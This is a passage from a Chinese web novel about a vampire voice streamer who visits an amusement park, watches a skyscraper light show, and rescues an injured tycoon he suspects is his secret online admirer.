陈元之没再逼他,走上去和靳伟坐在了一起。 宁尔戴着耳机和语音房连着麦,抬头看着缓缓启动的大摆锤。 这个看着并不像过山车那么吓人。 每个人坐在一个座位上围成一个圈。没有过山车那样长长的轨道,也没有瞬间冲下来的速度。 可是下一秒,那个类似钟摆的座椅竟然旋转了180度,把人上下颠倒缓缓升到了天上。 再下一秒,原本固定的椅子忽然伸出了很多绳子,把座椅直接甩了出去。 “我去……” 宁尔仰头看着天上咽了口口水。 他决定把那些推荐他玩这个的粉丝名字都记下来。 [哈哈哈哈哈小耳朵没上吗?] [哈哈哈哈没骗到好可惜] [小耳朵是有带朋友一起玩吗?] [感觉人挺多的。什么朋友关系这么好啊羡慕。] 宁尔回过神对着麦里道: “他们的确是我现在最好最好的朋友。” 评论区很快反问,那小耳朵以前的好朋友是谁。 宁尔看到这个问题沉默了一下,认真道: “我以前的好朋友,在我的家乡……尽管我们已经很久没有见面了,他依旧是我生命中最好的朋友。” 小耳朵好像回忆起了什么有些遗憾的伤心事,大家不想在这个快乐的时刻让他多想,于是都在评论区转移话题。 恰好靳伟和陈元之下来,宁尔赶紧跑上前去扶陈元之,他摇晃地更厉害,靳伟大概还能走直线。 可没想到宁尔刚扶着元之走了两步,靳伟就跑到垃圾桶前一阵狂吐。 陈元之哈哈哈哈大笑他,笑了两声自己也有点yue,赶紧捂住嘴。 三个人说什么也不再玩这种刺激性项目了,有粉丝提议说他们去鬼屋,说这个游乐园的鬼屋最有特色。 宁尔又惊讶地睁大了眼睛汗毛竖起。 人类为了好玩竟然抓了几只鬼吗?! 等冷静下来了解了一下,知道鬼都是塑料制作或者人类扮演的,叫做“npc”,那就一点都不害怕了。 靳伟和陈元之也同意去鬼屋,三个人前后串成一串走进去,宁尔走在最后。 像是油漆涂料的血迹,塑料的脑袋在面前晃来晃去,时而怪叫的恐怖声音,凸眼没鼻子的丑鬼。 宁尔忍不住偷偷笑出了声。 陈元之怕鬼,走在靳伟身后一惊一乍。 走到半路忽然从床下冲出来一个npc,陈元之大叫一声,宁尔不小心被他一胳膊肘击中,疼地捂着肚子直揉。 靳伟和元之往前跑了,那个npc的长发小妹妹一步步靠近,宁尔想假装配合她害怕往后跑,刚跑了两步忽然在黑暗中毫无防备地撞上一个“鬼”。 宁尔没想到会有多个npc,猛地被撞了个激灵,忽然的恐惧让他直接露出了吸血鬼形态,双眼猩红牙齿伸长,朝着身后贴脸“呲”了一下。 “啊——有鬼啊——” 宁尔在“呲”的时候就已经意识到对方是一个人类了,可惜等他收回牙之后对方已经尖叫一声往反方向跑了。 宁尔怕真把他吓坏,赶紧追他。 “啊啊啊啊啊别追我啊啊啊” 他越叫宁尔越急,追得越快,终于把人拦在一个小房间里,“鬼”已经吓得发抖了,宁尔一边道歉一边解释: “对不起对不起都是我不好,我不是故意吓你的。” “我不是鬼,那些、那些都是我的道具。” 宁尔真诚地眨着眼睛,“鬼”大口喘了好一会儿才打开手电上上下下扫着宁尔。 等他终于看够了,才战战兢兢道: “你、你吓死我了。” “我、我刚刚以为你是吸血鬼。太、太吓人了。” “你、你走吧。走在我前面。” 宁尔最后被npc将信将疑地从鬼屋的“入口”赶了出去。 这一幕全程都被语音房听到了,评论区哈哈哈哈哈笑了好一会儿,开始讨论宁尔怎么去鬼屋还自己扮演吸血鬼。 有人甚至猜测宁尔是不是真正的吸血鬼,讨论了一会儿关于吸血鬼的传说,以及他们见过吸血鬼的作证。 宁尔怕真有人猜到或者当真,赶紧转移了话题。 而且,幸亏刚刚靳伟和陈元之没有看到。 陈元之和靳伟都不怎么怕鬼,这个项目的欢乐刺激更多。 玩完这个之后他们又玩了几个比较“漂亮”的项目,宁尔很喜欢亮着灯的旋转木马,就像八音盒里的小装饰品一样,还让陈元之帮他拍了一张照片。 照片上的宁尔一头棕色卷毛的戴着黑色小恶魔发箍,坐在绿色的旋转木马上笑得非常开心。 宁尔把那张照片保存在了舟先生留下的那个相册里。 因为不用排队,他们各种项目刷得很快,玩了一会儿宁尔就盯着整个游乐园最中心的摩天轮出神。 粉丝们说这个摩天轮非常高,而且转得很慢,一点都不害怕。 升空的过程中几乎可以俯瞰A市的大半夜景。 一个车厢可以坐四个人,宁尔他们登上了同一个车厢。 摩天轮一点点升高,灯火辉煌的A市笼在眼底,渐渐地变成一个个越缩越小的小光点。 宁尔第一次在这么高的地方看A市,兴奋地不停拍照发缘小圈。 陈元之也挺好奇,只有靳伟比较淡定。 宁尔问靳伟是不是还没缓过来,靳伟一扬脑袋: “这才多高。朱总到总部之后我也上过盛景的高楼,比这高多了。” 宁尔一听“盛景”眼睛又亮了,靳伟透过摩天轮的玻璃找了找,找到了那幢最高的楼指给宁尔: “看,那栋楼就是。” “是盛景集团吗?” 靳伟点点头。 宁尔立马移不开眼睛了。 那栋楼很高很高,哪怕市中心的一片高楼林立,那栋楼也是一眼看到最高的,很好辨认。 评论区听到“盛景”,也符合着聊起来: [对对对,那栋最高的楼就是盛景集团] [盛景集团是什么?] [小耳朵上次住那个酒店,首富傅宴舟的盛景集团。] [摩天轮转到最高点的时候可以看到清晰盛景集团的大楼] [盛景在每年的新年和重要纪念日的时候会有灯光秀,听说在摩天轮上看到会很好看。] [我看过我看过,真的很浪漫!] [吃你安利了姐妹 ,今年跨年要抢游乐园的票了。] [做好心理准备姐妹,排队排到怀疑人生……] 灯光秀。 宁尔看着评论区,问靳伟是不是真的。 靳伟说他也刚来总部,还不清楚。 但靳伟告诉宁尔,盛景大楼上有一个停机坪,用于傅宴舟停私人直升机。他们偶尔能看到飞机飞回来。 “直升机?是什么?还可以在那个楼上?” 宁尔对人类能飞的东西很感兴趣。 “就是可以直直地升起来的飞机。” “哇~那我们在这里可以看到直升机飞吗?” 靳伟:“别想了,傅总出差了,没人飞给你看。” 宁尔痴痴地望着盛景,又低头看灯光次第点亮的A市,沉浸在了这片人类世界的灯光中,不自觉地拿出手机拍了几张照。 灯光下,缓缓升空的摩天轮里,一切都显得很浪漫。 难怪都说游乐园是“情侣必打卡”地之一。 宁尔发了一张包括盛景大楼在内的城景照给舟先生: [舟先生,我在坐摩天轮了。这个项目既不吓人,又能看到A市的景色。好漂亮呀。] 宁尔发完之后趴在摩天轮的玻璃前,心里有一丝丝遗憾今天和他一起来的不是舟先生。 舟先生会穿西装坐过山车吗? 舟先生被大摆锤甩飞的样子会是什么样? 舟先生怕鬼吗? 应该不怕。 他都敢吃鬼的嘴巴。 他傻傻地笑了笑,随着摩天轮越升越高,宁尔看到对面的盛景集团大楼灯光仿佛亮了一下。 宁尔以为自己看错了,揉了揉眼睛。 灯光又亮了一下。 宁尔又揉了揉眼睛,会有看靳伟和陈元之,他俩显然也看到了,目光都朝盛景大楼那个方向看去。 原本星星点点亮着的大厦的玻璃幕墙忽然全部暗了下去—— 下一秒,无数星光从楼顶倾泻而下,像是银河被人轻轻拨动,细碎的光点如流星般坠落,又在半空中骤然停住,细碎的光点缓缓聚集,直到最后在整栋大楼上汇聚成漫天闪烁的星辰。 一颗颗蓝色的星星在玻璃幕墙上缓缓流动,延绵不绝。 宁尔如同和整座城市一样屏住了呼吸,他睁大了眼睛,鼻尖紧紧贴着摩天轮的玻璃窗,无意识想离离那片星光更近一点。 紧接着,小小的星星汇集在一起,汇成一颗金色的“流星”从楼顶划过,拖曳着长长的金色光尾,在坠至半空时“砰”地炸开—— 竟然勾勒出一朵金色的玫瑰花形状。 星星、玫瑰…… 高耸入云的盛景大楼接连变幻出这两种灯光,微妙的巧合感让宁尔呼吸更紧,心跳声让他在脑子里出现了一个极其隐约的念头。 好在几秒过后,玫瑰花就立马幻化成很多飞舞的蝴蝶。 宁尔心跳降下来一点,直到这时才反应过来,赶紧在语音房道: “宝们,我、我好像看到你们说的灯光秀了……” [不会吧小耳朵?今天不是什么特殊日子啊。] [你看的是最高那幢楼吗?只有那个才是盛景集团啊。] [等等——] [真的是,真的是灯光秀!] [我去,这特效是真的吗?我记得去年还没这个漂亮啊] [蝴蝶,蝴蝶好像飞出来了] [有没有姐妹在缘小圈发个图啊想看啊啊啊啊] 盛景集团大楼足够高,灯光景致足够辐射到附近的很多居民楼。 翩跹起舞的蝴蝶有的翅膀泛着幽蓝,有的边缘镀着金芒,它们轻盈地扇动,在夜空中交织成流动,直到最后,仿佛一齐聚集,挣脱幕墙,一起朝着摩天轮的方向飞了过来。 摩天轮升到最高点,随着漫天的星星和蝴蝶之外,宁尔看到一个小黑点从盛景大楼的楼顶缓缓升起,越来越高…… “直升机!” 宁尔脱口而出,转头,靳伟也锁着眉头朝那边看去,独自喃喃: “奇怪,傅总明明出差了啊……”—— 作者有话说: 就这个瞒着全世界又当着全世界搞暧昧的感觉爽! 第43章 他是……傅宴舟?…… 傅宴舟明明出差了。 除了他本人, 还有谁能调用这架飞机? 毫无征兆的灯光秀,直升机,靳伟地盯着宁尔那颗毛茸茸的棕色脑袋摸了摸下巴。 若有所思。 但百思不得其解。 宁尔本人丝毫仍沉浸在近距离看到直升机的快乐当中, 拉着陈元之一起隔着玻璃指指点点。 一直等到直升机盘旋又降落后, 才依依不舍地转回脑袋。 也并没有传说中傅宴舟总裁从飞机上走下来。 “坐飞机是什么感觉呀?” 吸血鬼跑得很快, 但吸血鬼不会飞,吸血鬼羡慕飞飞的感觉。 “问我吗?没坐过。”靳伟答。 陈元之:“别看我, 我高铁都没坐过。” 宁尔又看评论区, 很多粉丝都热心地给他讲坐飞机的感觉, 并且告诉小耳朵其实机票没有很贵, 以小耳朵现在百万富翁的身份, 如果他想,完全可以坐~ 宁尔心里很感动, 谢过粉丝,把今天拍的很多照片都上传到了缘小圈。 舟先生一直没回消息,不过没关系。 宁尔打开相册戳戳戳选了18张拍的灯光秀的图片,嗖地都给舟先生发了过去。 地图上大洋彼岸的另一端。 下过雨的初冬天色初霁,潮湿寂静的路边偶尔驶过一辆汽车。 藏在苏黎世老街的私人手工西装工作室内, 胡子花白的老人正在用尺子为傅宴舟的手臂做最后的复尺。 尺寸量定,助手们认真地记好每一个数据,恭敬地摆好雪茄请这位华国的总裁落座。 傅宴舟没动雪茄,喝了一口咖啡,不一会儿老人神采奕奕走过来, 灰蓝色的眼睛中是毫不掩藏的讶异, 用英文道: “zhou,这是你第一次定做这么特殊的西装。” 藏在瑞士老街区里的顶级高定西装店,墙上大大小小的客人照片里同样也有着傅宴舟父亲的旧照片。 从日常穿着到商务活动, 这家西装店对于傅宴舟的身材以及偏好了如指掌。 傅宴舟的每套西装规格都不低,只是这套高定尤其特殊。 三倍的高定价格,要把工期缩短到一个月内。 傅宴舟笑了笑,表示默认。 老人惊讶的特殊并非是款式多么华丽繁复,而是颜色。 傅宴舟同他一起看着工坊中央的人台上正展示着一套酒红色的样衣。 不同于传统商务西装的克制,这种勃艮第红在灯光下流转着丝绸般的光泽,暗纹若隐若现。再低调都难掩红色的特殊性。 老人睁大眼睛有些狡黠地看着傅宴舟: “zhou,据我所知,华国人只有一个特殊日子也许会穿红色西装。——婚礼。” 他说完就大笑了起来,傅宴舟被这种笑容感染着扬起嘴角,却轻轻摇头,表示否认。 “只是初次见面。” 傅宴舟的眼神掠过红色西装翻领,眼底泛起一丝罕见的柔和: “他说过,他最喜欢的颜色是红色。”- 手机日历上的倒计时越来越近,鬼生第一次感受到等待和一个人见面的滋味,宁尔又兴奋又煎熬。 他的棕色卷毛已经有些长长了,网上买的绿色衣服和运动鞋都已到货,宁尔一次又一次地站在镜子前试穿。 11月的A市已经有了深秋的味道,树叶接连变黄飘落,白天短了不少。 宁尔后面几乎都住在了录音工作室,他精力充沛不知疲倦,短短十几天已经录制好了上千条定制语音。 除了录制和直播以外,宁尔还收到了缘来官方的邀请函,邀请他作为年度新星参加12月的网络达人盛典。 这个达人盛典比不上那种头部社交软件,是缘来联合几个其他的直播软件公司共同举办的。 知名度不算很高,主要面向各家粉丝,但主办方的诚意和粉丝们的期待都满满的。 盛典邀请的几乎都是各个平台的直播达人,到时候会给他们颁一些奖,当然也是涨粉的好机会。 不过盛典是全程视频直播的方式,也就是说需要露脸。 宁尔听到要露脸有点退缩,但元之和春风他们都劝他去。 他在缘来的表现好,粉丝量大,年度盛典能见到本人也是粉丝期待的事。实在不想露脸带个口罩应该也行。 陈元之劝宁尔完全不用害怕,他这张脸足够能打,在什么大网红面前都不用担心。 搞不好一战成名,直接被挖去当明星偶像。 宁尔刚刚答应下来,却被缘来官方告知他的身份还得再确认一下。 宁尔一惊,生怕对方发现他吸血鬼的身份,旁敲敲侧击击,侧击击旁敲敲,工作人员终于忍不住告诉他,是因为宁尔被举报了。 有人举报他□□,并且提供了证据,质疑他作为年度新星去参加年度盛典的合理性。 □□。 宁尔只和两个人□□过。 一个是小橙子,另一个就是当时的山屿。 山屿自从那天pk失败之后就没动静了,难道是小橙子? 宁尔想起那个开朗阳光的橙子头像,他虽然后来和宁尔聊天不多,但每条缘小圈都会给他点赞。难、难道人类世界的信任,这么难吗? 他有些难过,憋了又憋,最后憋不住直接去找小橙子了。 宁尔直接问了是不是小橙子举报了他,小橙子直接反问竟然还有人举报怎么回事儿。 宁尔把他和两个人□□过的事告诉了小橙子,小橙子义愤填膺,大骂怎么还有这么卑鄙的人。 小橙子:[所以只能是我们俩之一了呗?你也不确定谁,所以先来问我?] 亲亲小耳朵:[口恩口恩。] 小橙子:[靠,狼人杀啊。] 宁尔浑身猛地一颤:[别、别说狼人。] 害怕。 小橙子:[我也不知道怎么证明了……但真不是我啊小耳朵。] [咱俩是同期,我眼睁睁看你从1个粉丝到几万粉的。你的语音房我偶尔都会去听,有人骂你时候我还怼过他们。而且,我没有理由举报你啊。与其举报,我倒不如威胁你给我点钱好了。] [这个人这么做,没有任何好处,好像就是纯恨……] 宁尔觉得小橙子说得挺有道理。 明明是山屿骗他钱在先,没想到竟然还没过去。 宁尔又找到山屿的账号,他已经很久没有升级了,开播记录也是有一搭没一搭,也没有固定房间。 宁尔暂时没有声张这件事,房里只有春风一个人知道,他也觉得这件事儿挺邪乎的,让宁尔别担心,他去私下调查一下。 晚上和舟先生聊天的时候,对方察觉到了宁尔语气稍稍有些低落。 再三追问,宁尔只能告诉他自己被举报了的事情。 [哥哥,为什么明明他骗了我的钱,pk的时候又收了你的嘉年华,却还要这样做呢?] 宁尔不认为自己没有错,他违反规则,所以被骗了钱。 可他想不通,为什么这么久了山屿还在耿耿于怀,还能准时举报。 过了很久舟先生回复: [这事不算大。不用去想那么多,宝宝。] [进一下语音房。] 宁尔不明所以进了语音房,下一秒,舟先生就为他刷了520个嘉年华。!!…… 冲天的特效还没消散,舟先生就拍拍衣角退出了。 宁尔惊讶地睁大眼睛:[哥哥你……] 银耳粥:[不能在你身边安慰你,这样会不会开心一点?] 亲亲小耳朵:[不是的哥哥,明明是别人不好为什么要你刷礼物安慰我,这样不好……] 银耳粥驾驶着星舰来到了直播间。 银耳粥为亲亲小耳朵送出火箭炮x13140。 [谁惹你我都负责哄。好点了吗?] 宁尔看着账户里那一大堆0前面跳动的数字,又增加了100多万…… 宁尔的的眉头扬了起来,艰难地控制着自己的嘴角: [可是、可是哥哥……] 银耳粥为亲亲小耳朵送出梦幻城堡x1314。 亲亲小耳朵:[哥哥,我好了。噘嘴/噘嘴/] 宁尔的嘴角再也控制不扬起来,努力咬着嘴唇控制自己的表情,可惜还是忍不住。 他心里感受到的甜不止是账户上冰冷的数字,还有舟先生愿意耐心哄他开心。 就像……就像老公一样。 宁尔被自己脑子里冒出来的这个想法吓了一跳。 但以前公爵夫人生气公爵确实也会这样哄她。 银耳粥:[这么快就哄好了?] 亲亲小耳朵:[哼哼/哼哼/哥哥还嫌慢?] 银耳粥:[嗯,哥哥在账户里充了很多钱。] 好吧。 比舟先生更有魅力的,是谈钱时候的舟先生。 没过一天,宁尔就收到了缘来官方的答复。 她们说调查清楚了,当时的宁尔刚注册几天,并不清楚规则,犯错也正常,给予相应的惩罚就可以,并不影响他成为年度新星。 而这个惩罚就是停播7天。 宁尔接受这个惩罚,他犯过的错误,真正受过处罚了才能彻底从心里结束。 否则可能会一直小心翼翼的掩藏。 不过缘来的官方好像并不愿意接受。 缘小来:[小耳朵先生,鉴于您的突出贡献,咱们把惩罚缩短到三天怎么样?] 亲亲小耳朵:[?] [不用了,就7天吧。] 缘小来:[5天你看怎么样?] 亲亲小耳朵播一天,缘来分一半收益一天。普通礼物都够多了,更别提这种偶尔一晚上几百万爆的重点金主银耳粥。 他不在乎损失,平台在乎啊。 亲亲小耳朵最终也没接受缩短,按照规定,在直播语音房说清楚这件事,又在缘小圈发布道歉声明之后就下播了。 语音房的粉丝并没有苛责他,都纷纷表示不舍,等他7天后回来准时见。 还有粉丝为他打抱不平,比起跳过平台私聊交易、搞颜色话题、骗粉、约炮等塌房的主播,他这点儿事儿连谈资都不够。 还有人让宁尔把谁举报他的发出来,他们去冲那个人。 宁尔赶紧连说了十个不要不要不要,希望这件事就到此为止吧。 7天不直播,宁尔正好可以每天专心去录音房录制语音。 日历上的倒计时越来越瘦,宁尔的一颗心提地越来越高。 这二十多天虽然和舟先生的聊天频率降低了,但他通过舟先生的眼睛看到了好多不一样的风景,隔三差五都会有惊喜的外卖出现,舟先生叫宝宝越来越熟练,对于这次见面越来越期待。 期间有一天宁尔睡不着,舟先生还在开会时候和他连过一次麦。 手机里他们都在讲英文,叽里咕噜宁尔什么都听不懂,只能听懂一个词“舟”。 舟先生讲英文声音更好听了。 倒计时变成2的那一天,宁尔忽然很想再去看看那个蓝宝石所藏的展览馆。 陈元之好奇这蓝宝石有什么魅力,破天荒地陪宁尔一起出去了。 晚上的展览馆当然也关闭了,两个人只在门口看了看,陈元之看着宁尔脸上痴迷留恋的表情,有那么一刻几乎是相信了宁尔真的想把这玩意儿买下来。 “哎,你那个粥先生本事那么大,你让他帮忙和展览馆说说晚上也开放,让你进去看看呗?” 宁尔摇摇头: “元之你又不是不知道,这里是傅宴舟总裁的。” “傅宴舟怎么了,都叫舟,不一定谁比谁厉害了……” 陈元之说话没控制音量,站在展览馆前直呼总裁名字,立马被保安用鹰一样的眼睛盯上了。 宁尔吓了一跳,赶紧把他拉走。 回家的路上顺便又去了一下理发店,把宁尔有些长长的卷毛修了修。 颜值+1。 两人一起穿过小街巷往家里走,元之开着他的玩笑,宁尔也不甘示弱,反问元之不也为了和富婆面基天天在家里偷偷做俯卧撑。 “我去,我那是正常锻炼,你竟然污蔑我是为了富婆,宁尔没想到你竟然有这么扭曲的想法。” 宁尔才没上当,幽幽道: “元之你平时连出去买早餐都懒得动。” “我、我那是不喜好和人说话,社恐。” “你还说我,你自己不也偷偷跪在地上把自己蜷成虾米一样偷偷往出憋腹肌吗?你还买蛋白粉,怕被我们发现换到奶粉罐里喝。” 宁尔脸憋得通红:“元之你……” 他话音还没落,耳朵忽然动了动,路灯下脸上的表情忽然一滞,手指比了一个“嘘”: “有人。” 陈元之被他忽然的动作吓了一跳: “这里有人不正常吗?” 宁尔摇头,认真听了听: “有好几个人,在追一个人。” 没等他再次判断自己的听力,一股浓重的鲜血味儿就直冲鼻腔,冲得宁尔险些没站稳。 “有人受伤了,很严重。”宁尔皱起眉。 陈元之也感受到了空气中的不对劲,这条小路偏僻,鱼龙混杂的贫民区打架斗殴常有。 陈元之伸手拉住宁尔的胳膊: “别掺和这些,我们走。” 宁尔下意识跟着陈元之走了两步,脚步声却越来越近。最严重的还是那股越来越浓重的鲜血味,不知道为什么,宁尔总觉得这个味道有些隐隐的熟悉感。 他停下脚步: “元之,被打的人会怎么样?” 陈元之脸色凝重: “这片儿是出了名的打架不要命,动刀子见血要命的都有。快走吧咱们别被误伤了。” 宁尔还想说什么,下一秒,一个高大的身影就闪进了他们所在的这条暗巷,就是那个受伤的人。 他像是耗尽了力气,晃了两步,高大的身影顺着斑驳的砖墙滑下,发梢垂落,胸膛因为大口呼吸起伏,鲜血顺着手臂滴落在地。 整条小巷没有灯,宁尔看不清他的样子,他和元之一时间谁都没动,没过几秒巷口有很多脚步声传来。 男人穿着西装的剪影落在眼中,月光隐约勾勒出的轮廓莫名与宁尔脑子里一直以来的某个幻想重合。还有那股浓重熟悉的血液的味道—— “元之,你去救他。” 说完他自己像一道黑色闪电一样朝巷口冲了出去。 陈元之只听到巷口接连传来几声惨叫,那惨叫声很奇怪,不像是在挨打,反倒像是被人扛在半空中转了两圈然后扔出去的叫声,越来越远。 陈元之当然不可能让宁尔一个人去,在地上顺手捡了块板砖追出去时,宁尔面前只剩下两个人了。 这两个人皮肤偏黑个子不高,嘴里乌拉乌拉是他们听不懂的话。 一个人手里拿着刀往宁尔肚子上招呼,陈元之大喝一声,那人稍微分了一点神,下一秒整个人就被宁尔两只手托起来举过头顶,狠狠地往远处扔出去。 而在他举这人的时候另一个人也冲了过来,宁尔抬脚踹到那个人腹部,这一脚不知道用了多大的力气,那个人直接也消失在了视线以内。 简直像是非人的力量。 “我去……” 陈元之手里的板砖滑落到地上。 “你、你没事儿吧?” 陈元之跑到宁尔跟前,发现他的手掌被滑了一道很大的口子,正在往外冒血。 “我没事儿,咱们快去看看那个人吧。” “哦、好。” 两人刚走了一步,宁尔被浓重的鲜血味冲得几乎有些神志不清。 这是一种极其鲜美、诱人、高级的血液味道。尽管他没有任何伤害人类的心思,但宁尔不确定自己在这种诱惑前是否能把持住自己。 宁尔用一只手撑住墙,反身靠在墙上,没有往巷子里去,而是对元之说: “元之,你、你去看吧,我、我晕血。” “啊?你晕血啊?” 宁尔痛苦地点了点头,陈元之看他脸色都白了,眼睛都痛苦地睁不开,说了句“那你在这儿等我”就转身跑进巷子里了。 高级醇香的血液对吸血鬼有着致命的诱惑,它们不仅是美食,更是生命的滋养。 在文明程度发展到今天的吸血鬼世界,他们从小到大喝得都是科技制成的血包。 当浓烈醇香的鲜血漫溢在周身时,身体的欲求与渴望让宁尔忍得牙关都在颤抖。 更要命的是,这种诱惑中还潜藏着某种他在舟先生身上闻到过的熟悉感,极度的诱惑与克制让宁尔的身体甚至在初冬的夜里出了汗。 陈元之跑进去没多久,就赶紧又跑出来: “他伤得很重,随时可能晕过去,我报警,你叫救护车。” “好。” 宁尔和陈元之同时拨打了电话,不一会儿,两道警铃声前后响起,宁尔看到先来的是救护车,大大地松了一口气。 救护车停在巷子口,警铃闪烁着红蓝色光,车轮碾压过泥泞的地面,医生高声地指挥着支起担架往上抬人,周围零零星星又看热闹的人围过来。 “都别看了都别看了” “止血准备氧气准备。有没有家属?” 狭窄的巷口一时间乱成一团,宁尔站在后面,看到那个男人穿着一身深蓝色西装,身上脸上都已经血污不堪,手里却紧紧握着手机停在一个粉色的界面。 尽管被鲜血染过看不清样貌,宁尔却隐约觉得这个男人的样貌他很熟悉。 担架一动,手机从手里滑落,原本已经陷入昏厥的男人忽然手指动了动,朝着刚刚手机掉落的方向,似乎极力想起来去捡。 宁尔犹豫了一下,忍住令他目眩的血腥味,快步走上前去捡起手机,他想把手机重新塞回男人手中,他却已经先一步被推上了车。 警车很快就到了,宁尔没有身份证,陈元之朝他使了个眼色,示意他从巷子的另一端离开。 宁尔刚刚走出去,手里的手机铃声响起,来电显示肖特助。 特助。 舟先生告诉过他,特助是老板最信任的人。 宁尔毫不犹豫滑动接听,只听到对面传来很着急的声音: “傅总,您现在在哪儿?” 傅总。 刚刚担架上熟悉的样貌猛地和一个名字对上了号。 傅宴舟。 对面显然没来得及知道发生了什么,宁尔简单地告诉了他他们是在哪里发现了人,现在已经报过警叫过救护车了。 对面让他在原地等一等,马上派人来取手机。 宁尔答应了,巷子里的血腥味未全然散去,忽然之间见到了“傅宴舟”的事实冲击让他更加眩晕,也不知道为什么,不知道是不是因为紧张,宁尔的眼皮飞快地跳动起来,心里也跟着乱糟糟的。 他靠在墙边,几乎是下意识的动作打开缘来,点开和舟先生的聊天对话框。 [飞行,不能及时回复、] [等我。] 五分钟前—— 作者有话说: 傅宴舟网恋圣体,快被砍死了还要给老婆发消息。 第44章 哥哥又要耍流氓了吗? 陈元之一直到第二天才回来。 他顶着两个黑眼圈, 一脸疲惫,破天荒地从便利店买了杯速溶咖啡,猛喝了一大口。 “元之, 他怎么样了?” 陈元之摇摇头。 宁尔心里一惊, 瞳孔睁大:“不、不行了吗?” “应该没有生命危险了。不然我也不能这么快回来。” “那就好那就好。” 宁尔没来由地松了口气。 陈元之作为报警人和目击者被整整审了一个晚上, 再三确认后才放他回来。 陈元之问宁尔:“你知道,这个人是谁吗?” “傅宴舟。”宁尔很平静地回答。 “你怎么知道?” “我捡到他的手机了。” 陈元之靠了一句, 说真邪门。 堂堂A市首富, 竟然会浑身带血地出现在贫民区小巷。 还被他们捡到了。 陈元之虽然人回来了, 但身份信息电话都被警局留下, 让他随时等待消息。 如果说他救的是个小学生, 陈元之最多收个见义勇为的锦旗发发朋友圈吹吹牛逼。 如果救的是个小富哥,收笔感谢费也心安理得。 可是把首富救了, 只靠陈元之的想象力,他也不知道会发生什么了。 “元之,你没说我吧?” 陈元之摇摇头:“没敢说。但我猜只要他们想查肯定能查到那天还有一个人。” 宁尔没有身份证,又从不白天出门,真被警察找上门也是麻烦事。 “让你见义勇为, 现在把自己整成嫌疑犯似的。以后还敢吗?” 宁尔听出来了,陈元之是故意揶揄他,其实要是换成他他也会救的。 不管是老人小孩,穷人富人,任何人在那样的情况下倒在他面前, 宁尔都会救的。 宁尔眼睛笑眼一眯: “下次还敢。” 陈元之看到宁尔手上绷带缠得像个粽子, 想起来他昨天也被刀划伤的口子: “还疼吗?要不要去医院处理一下。” 宁尔摇摇头:“没事的元之,我最能忍了。” 陈元之无奈:“行吧,我先给靳伟打个电话, 这事儿也得让他知道。” 两人把这事儿告诉了靳伟,靳伟在电话里都由衷地说了一声“牛逼”。 宁尔趁机问傅宴舟身体怎么样了,靳伟说他还不知道,毕竟连朱总平时都接触不到傅宴舟本人。 靳伟让宁尔别太担心了,以傅宴舟的身份可以享受全国最顶尖的医疗,可能国际医疗团队也已经在路上了。 好吧。 宁尔想到昨天担架上那双紧闭的双眼和被血污染湿的鼻梁,毕竟从照片里看到过那么多次,预想过很多次和他“借用”蓝宝石的场景,真出现在面前却是这副样子,宁尔也有些小唏嘘。 他不再想傅宴舟,打开原来点进去和舟先生的聊天框。 聊天还停留在他昨天的话: [一路平安丫哥哥~撒花/撒花/] [哥哥在飞机上也要好好吃饭呀] [我又学了一个新魔术,等我们见面我变给你] [我在A市很想你。歪头/歪头/] 还没有任何回复。 宁尔并没有在意,舟先生去的地方很远,飞机都得很久很久,他只是看看这些聊天记录都觉得甜甜的。 还有一天,倒计时就彻底变成0了。 0点时,宁尔眼睁睁地看着倒计时变成0,又眼巴巴地看到那个0停滞了两天。依旧没有任何回复。 那身绿色的短袖穿了又脱,脱了又穿,直到初冬的温度冷到再也穿不了短袖。 舟先生还是没有回消息。 宁尔已经复播了,隔了七天第一次复播,粉丝们的热情空前高,礼物多得特效都显示不过来。 舟先生不回消息,宁尔也就不用早早下播了,一晚上直接播了好几个小时。 第一天的时候粉丝的注意力还在宁尔身上,第二天就都开始问舟先生了。粉丝们不知道倒计时的事情,只记得舟先生说出差已经很久很久了。 [粥老板还在出差吗?感觉都一个月了。] [其实我一直好奇,出差不能看直播吗?] [废话,肯定是出国有时差啊。比如对面是白天在开会怎么看。] [也不会每天都开会吧?] [有钱又忙的霸总就是每天都开会滴。] [小耳朵复播这么重要的时候,粥哥都没出现也好奇怪啊。] [他上次说什么?下次看直播会告诉大家喜不喜欢小耳朵吧?] [所以……为了不回答直接没下次了吗……] [我去,好像还真有点这意思……] [小耳朵才几天没播就又有人开始挑拨了?抢红包的时候怎么不这么说啊?] [就是啊,而且你不知道什么时候回来,人家小耳朵知道不就行了。] [粥哥现在说不定正在准备一场声势浩大的告白惊喜呢] [好期待有钱人的告白啊!!会不会把缘来包下来啊!!] 评论区从一个极端过度到另一个极端,猜什么的都有,最终宁尔有些不好意思地打哈哈: “舟先生和我说他最近确实很忙……他回来就会告诉我啦。” 宁尔心虚地说完这句话,不想再看评论区的各种猜测,到时间就直接下播了。 宁尔想起来很早以前一个私聊他的女主播,让他警惕舟先生是渣男,说他们这种有钱人玩玩就腻了,可以随便找个理由消失,继续下一个。 不对不对。 如果真的是舟先生准备消失的借口,他又怎么会大费周章,在手机上写下备忘录的倒计时呢? 等等,备忘录的倒计时,难道不是舟先生回来的倒计时,而是让宁尔忘记他的倒计时?! 毕竟人类养成一个习惯的时间恰好也是21天。 想到这里宁尔内心一凉,紧紧地咬住嘴唇,委屈的眼泪差点把眼角润湿。 不对不对,他们又不是21天都没有联系,舟先生还哄他,和他连麦,怎么可能是敷衍或者不喜欢了。 左右脑互搏了一会儿,宁尔感觉自己脑袋都尖了。 但他实在忍不住,给小猫咪助理发了条消息。 舟先生没出现的这几天,小猫咪也没有来过语音房。 至少,无论如何宁尔都希望能够舟先生能够平安。 宁尔发完之后又等了很久很久,过了一个多小时小猫咪才回复: [舟总已经回国了,请勿担心。] [过几天会联系您。] 宁尔看到第一条,悬着的心终于放回了肚子里。 没事就好,人。 看到第二条的时候,宁尔嘴角忍不住泛起一个有些苦涩的微笑。 这句话让宁尔真的相信了小猫咪是一个合格的特助。 他的回复礼貌、官方,但没有用。 就像永远让他等回复的售后反馈电话一样。 原来舟先生的确已经回国了,却没有联系他。 难道,真的像评论区说得那样吗? 在床板里睡了这么久,宁尔鬼生里第一次有了胸口发闷,喘不上气的感觉。 他把床板推开,大口大口呼吸着空气,刚缓解一点,余光瞥见窗台上那个玻璃瓶里的假玫瑰花,心里又重新堵了起来。 宁尔在床板里艰难翻了个身,把两条胳膊搭在床沿,勉勉强强把脑袋靠上去强迫自己睡觉- A市国际医院顶层vip病房。 傅宴舟缓缓睁开眼,心跳监测显示他的生命体征一切恢复平稳,手背上吊着点滴。 